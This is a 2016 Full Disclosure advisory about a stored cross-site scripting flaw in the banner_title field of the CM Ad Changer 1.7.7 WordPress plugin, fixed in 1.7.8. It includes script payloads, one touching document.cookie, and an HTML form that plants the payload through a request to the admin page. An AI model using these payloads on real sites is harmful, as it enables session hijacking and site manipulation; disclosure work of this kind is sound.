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[FD] CM Ad Changer 1.7.7 Wordpress Plugin - Cross Site Scripting Web Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] CM Ad Changer 1.7.7 Wordpress Plugin - Cross Site Scripting Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 13 Jun 2016 16:44:23 +0200
Document Title:
===============
CM Ad Changer 1.7.7 Wordpress Plugin - Cross Site Scripting Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1856
Release Date:
=============
2016-06-13
Vulnerability Laboratory ID (VL-ID):
====================================
1856
Common Vulnerability Scoring System:
====================================
3.5
Product & Service Introduction:
===============================
Are you running various marketing ad campaigns? Care to check the return of
your investment? Are you really getting the message out there,
and is it working? The CM Ad Changer plugin manages, tracks and provides
reports on how well your advertising campaigns are running. Designed
specifically for eCommerce, the CM Ad-Changer can be used for cross-website
banner advertising promotions, managing discount sale events and
improving your product banner ads.
(Copy of the Homepage: https://ad-changer.cminds.com/ )
Abstract Advisory Information:
==============================
An indepedent vulnerability laboratory researcher discovered a stored cross
site scripting web vulnerability in the official CM Ad Changer v1.7.7 Wordpress
Plugin.
Vulnerability Disclosure Timeline:
==================================
2016-06-13: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
CreativeMinds
Product: CM Ad Changer - Wordpress Plugin (Web-Application) 1.7.7
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A stored cross site scripting web vulnerability has been discovered in the
official CM Ad v1.7.7 Wordpress Plugins.
The web vulnerability allows remote attackers to inject own malicious script
codes to the application-side of the service.
The cross site vulnerability is located in the `banner_title` parameter of the
`cmac_campaigns` module POST method request.
Remote attackers are able to inject own malicious script codes to the
cmac_campaigns add POST method request.
The security risk of the vulnerability is estimated as medium with a cvss
(common vulnerability scoring system) count of 3.5.
Exploitation of the web vulnerability requires a low privileged web-application
account with restricted access and low user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing,
session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module
context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] cmac_campaigns
Vulnerable Parameter(s):
[+] banner_title
Proof of Concept (PoC):
=======================
The stored cross site vulnerability can be exploited by low privileged user
accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Go to CM Ad changers - Campaigns
2. Create a Campaign. Enter whatever you want in Campaign settings, in the next
tab "Campaign Banners", select an Image in Campaign images and in Banner Title
enter this payload
</script><script>confirm(/aaditya/)</script>
</script><script>confirm(document.cookie)</script>
3. Enter Save & the payload triggers to execute everytime you return to the
module
4. Successful reproduce of the web vulnerability!
PoC: Exploitation
<html>
<body>
<h1> Click The button below. POC By Aaditya Purani:: CM AD Changer 1.7.7
</h1>
<form
action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=cmac_campaigns&action=edit&campaign_id={TARGET_ID}";
method="POST">
<input type="hidden" name="campaign_id" value="1" />
<input type="hidden" name="title" value="Hacked by Aaditya" />
<input type="hidden" name="comment" value="" />
<input type="hidden" name="link" value="" />
<input type="hidden" name="status" value="on" />
<input type="hidden" name="banner_display_method" value="selected" />
<input type="hidden" name="banner_filename[]" value="yourpicvalue.jpg" />
<input type="hidden" name="banner_title[]"
value="</script><script>confirm(/aaditya/)</script>" />
<input type="hidden" name="banner_title_tag[]" value="" />
<input type="hidden" name="banner_tag[]" value="" />
<input type="hidden" name="banner_link[]" value="" />
<input type="hidden" name="banner_weight[]" value="0" />
<input type="hidden" name="selected_banner" value="yourpicvalue.jpg" />
<input type="hidden" name="submit" value="Save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Note: This will Trigger Stored XSS at banner_title Parameter.
Solution - Fix & Patch:
=======================
9th June - Public fix released & changelog updated 1.7.8
Security Risk:
==============
The security risk of the stored cross site scripting web vulnerability in the
wordpress plugin is estimated as medium. (CVSS 3.5)
Credits & Authors:
==================
Aaditya Purani - (https://aadityapurani.com)
[http://www.vulnerability-lab.com/show.php?user=Aaditya%20Purani]
Disclaimer & Information:
=========================
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